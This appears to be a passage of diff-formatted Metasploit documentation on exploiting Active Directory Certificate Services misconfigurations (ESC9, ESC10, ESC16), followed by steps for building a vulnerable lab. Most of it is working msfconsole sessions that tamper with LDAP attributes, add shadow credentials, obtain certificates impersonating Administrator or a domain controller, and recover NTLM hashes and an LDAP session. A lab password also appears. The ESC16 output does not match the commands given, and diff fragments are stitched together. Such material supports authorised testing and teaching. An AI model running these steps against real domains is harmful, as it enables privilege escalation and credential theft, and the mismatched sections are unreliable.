[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
## ESC9 Scenario 2
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
- Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_windows.ad.cs_907188.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_132784.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717141705_default_172.16.199.200_mit.kerberos.cca_364943.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 517757a2-5174-5c43-6005-102c4429ff05
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250717141706_default_172.16.199.200_windows.ad.cs_369517.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_370847.bin
[*] 172.16.199.200:88 - Getting NTLM hash for dc2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717142328_default_172.16.199.200_mit.kerberos.cca_596103.bin
[+] Found NTLM hash for dc2$: aad3b435b51404eeaad3b435b51404ee:cceede79c156a295f45e7ad38ee2f884
[*] Auxiliary module execution completed
```
# Exploiting ESC10
## ESC10 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `0`
- Because the above is set to `0` we don't need the `CT_FLAG_NO_SECURITY_EXTENSION` flag set on the vulnerable template
- Other than the above, pre-requisites and exploitation are the exact same as ESC9 Scenario 1
## ESC10 Scenario 2
Pre-requisites:
- `CertificateMappingMethods` is set to `0x0004` (UPN certificate mapping) or `0x001F` (All of the above values)
- The vulnerable template has the `SubjectAltRequireUPN` set
- The same vulnerable template has a client authentication EKU
- We have credentials of a machine account who has `GenericWrite` privileges over another machine account that can enroll in the vulnerable template
In this scenario we can only compromise accounts that do not already have a populated `userPrincipalName` attribute, such as machine accounts and the default domain administrator.
In addition, because this registry key only applies to SChannel authentication we are forced to authenticate to LDAPS once we get a certificate.
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "user2"
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE 'DC2$@kerberos.issue'
UPDATE_LDAP_OBJECT_VALUE => DC2$@kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT userPrincipalName
UPDATE_LDAP_OBJECT => userPrincipalName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC10-Template
CERT_TEMPLATE => ESC10-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to DC2$@kerberos.issue...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to DC2$@kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_windows.ad.cs_860225.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_872380.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717143323_default_172.16.199.200_mit.kerberos.cca_123025.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.1 (Server Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.20.2.2 (Smart Card Logon)
[*] 172.16.199.200:445 - Certificate UPN: DC2$@kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 825a1a2f-336f-e41c-24fb-703bb79f79f9
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: DC2$@kerberos.issue
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use ldap_login
[*] Using auxiliary/scanner/ldap/ldap_login
[*] The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/ldap/ldap_login) > run ssl=true rhosts=172.16.199.200 LDAP::Auth=schannel LDAP::CertFile=/Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx
[+] Success: 'Cert File /Users/jheysel/.msf4/loot/20250717143324_default_172.16.199.200_windows.ad.cs_752634.pfx'
[*] LDAP session 1 opened (172.16.199.1:58674 -> 172.16.199.200:389) at 2025-07-17 14:35:08 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 LDAP session was opened successfully.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ldap/ldap_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP DC2$ @ 172.16.199.200:389 172.16.199.1:58674 -> 172.16.199.200:389 (172.16.199.200)
```
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
@@ -1084,6 +1480,168 @@ msf auxiliary(admin/dcerpc/icpr_cert) >
Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module.
# Exploiting ESC16
ESC16 refers to a CA-level misconfiguration where the SID security extension (OID `1.3.6.1.4.1.311.25.2`), introduced in
the May 2022 KB5014754 update, is globally disabled. This extension allows domain controllers to securely map
certificates to user or computer SIDs for strong authentication.
When this OID is listed under the CAs `DisableExtensionList` registry key, which is located:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
all certificates issued by the CA will lack the SID binding, making every template behave as though it has the
`CT_FLAG_NO_SECURITY_EXTENSION` flag (essentially ESC9). After updating the `DisableExtensionList` the machine will need
to be restarted for the changes to take effect. The `DisableExtensionList` under the default policy can be updated in
order to exploit (a new policy is not required).
## ESC16 Scenario 1
If domain controllers arent in Full Enforcement mode (`StrongCertificateBindingEnforcement` != 2), they fall back to
weaker mapping methods like UPN or DNS from the certificates SAN potentially reintroducing risks similar to the
Certifried vulnerability (CVE-2022-26923) or ESC9 however for our purposes given the `DisableExtensionList` is called
"ESC16 Scenario 1". The way you exploit ESC16 scenario 1 with Metasploit is identical to how you would exploit ESC9:
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-dc2-ca
ca => kerberos-dc2-ca
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC16-Template
cert_template => ESC16-Template
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_windows.ad.cs_473934.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_930617.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152132_default_172.16.199.200_mit.kerberos.cca_355422.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 0d055983-7921-797a-529e-259b4b7542a2
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
With the certificate issued, the attacker can then use the `kerberos/get_ticket` module to obtain the hash of the admin user:
```
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=//Users/jheysel/.msf4/loot/20250717152134_default_172.16.199.200_windows.ad.cs_383174.pfx username=Administrator domain=kerberos.issue
[*] Running module against 172.16.199.200
[!] Warning: Provided principal and realm (Administrator@kerberos.issue) do not match entries in certificate:
[!] * Administrator@
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_344926.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717152325_default_172.16.199.200_mit.kerberos.cca_598018.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
## ESC16 Scenario 2
If domain controllers are in Full Enforcement mode (`StrongCertificateBindingEnforcement` == 2), ESC16 alone would normally
prevent authentication using certificates that lack the required SID extension. However, if the CA is also vulnerable
to ESC6, which is defined as: `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set under it's `EditFlags` registry key, located here:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>\`
then the CA accepts arbitrary SAN values from certificate request attribute and an attacker can still bypass strong
certificate mapping.
In this case, the attacker requests a certificate from the ESC16-affected CA using any client authentication template
(like "User"), which ensures the SID security extension is omitted. At the same time, they exploit the ESC6 weakness to
inject a custom Subject Alternative Name that includes both a forged UPN and a specially crafted SID value using the format:
`URI:tag:microsoft.com,2022-09-14:sid:<SID>`. This format was introduced in the May 2022 KB5014754 update and
intended to help support strong certificate mappings between the user SID and the certificate.
Because the certificate lacks the official SID extension (due to ESC16) but includes a valid-looking SAN SID URI
(via ESC6), the domain controller accepts it and maps the certificate using the supplied SID—even in Full Enforcement mode.
The way you would exploit ESC16 Scenario 2 with Metasploit is different than Scenario 1 as we don't need to update
any LDAP objects, and so we can use the `icpr_cert` module to request a certificate.
```
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_sid S-1-5-21-2324486357-3075865580-3606784161-500
alt_sid => S-1-5-21-1655260159-4293876351-2321352318-500
msf6 auxiliary(admin/dcerpc/icpr_cert) > set alt_upn Administrator@kerberos.issue
alt_upn => Administrator@msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ca kerberos-DC2-CA
ca => msf-DC3-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set cert_template User
cert_template => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.16.199.200
RHOSTS => 172.16.199.130
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbdomain kerberos.issue
smbdomain => msf.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbpass N0tpassword!
smbpass => N0tpassword!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set smbuser user1
smbuser => user1
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.16.199.200
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.4 (Secure Email)
[*] 172.16.199.200:445 - * 1.3.6.1.4.1.311.10.3.4 (Encrypting File System)
[*] 172.16.199.200:445 - Certificate UPN: Administrator@kerberos.issue
[*] 172.16.199.200:445 - Certificate URI: tag:microsoft.com,2022-09-14:sid:S-1-5-21-2324486357-3075865580-3606784161-500, S-1-5-21-2324486357-3075865580-3606784161-500
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > use admin/kerberos/get_ticket
[*] Using action GET_TGT - view all 3 actions with the show actions command
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhost=172.16.199.200 cert_file=/Users/jheysel/.msf4/loot/20250711145606_default_172.16.199.200_windows.ad.cs_597422.pfx
[*] Running module against 172.16.199.200
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_635830.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Administrator@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250711145619_default_172.16.199.200_mit.kerberos.cca_787259.bin
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[*] Auxiliary module execution completed
```
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -52,79 +52,4 @@ Microsoft provides a very useful [training module](https://learn.microsoft.com/e
that covers the fundamentals of AD CS and as well as examples which cover the management of certificate enrollment, certificate revocation and certificate trusts.
## Setting up A Vulnerable AD CS Server
The following steps assume that you have installed an AD CS on either a new or existing domain controller.
### Installing AD CS
1. Open the Server Manager
2. Select Add roles and features
3. Select "Active Directory Certificate Services" under the "Server Roles" section
4. When prompted add all of the features and management tools
5. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
6. Completion the installation and reboot the server
7. Reopen the Server Manager
8. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
9. Select "Certificate Authority" in the Role Services tab
10. Select "Enterprise CA" in the "Setup Type" tab (the user must be a Domain Administrator for this option to be available)
11. Keep all of the default settings, noting the value of the "Common name for this CA" on the "CA Name" tab (this value corresponds to the `CA` datastore option)
12. Accept the rest of the default settings and complete the configuration
### Setting up a ESC1 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
2. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
3. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
4. From here you can refer to the following [Active-Directory-Certificate-Services-abuse](https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md) documentation for screenshots.
5. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
6. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears. Then click the `Apply` button.
7. Scroll to the `Extensions` tab and under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed. Then click the `Apply` button.
8. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
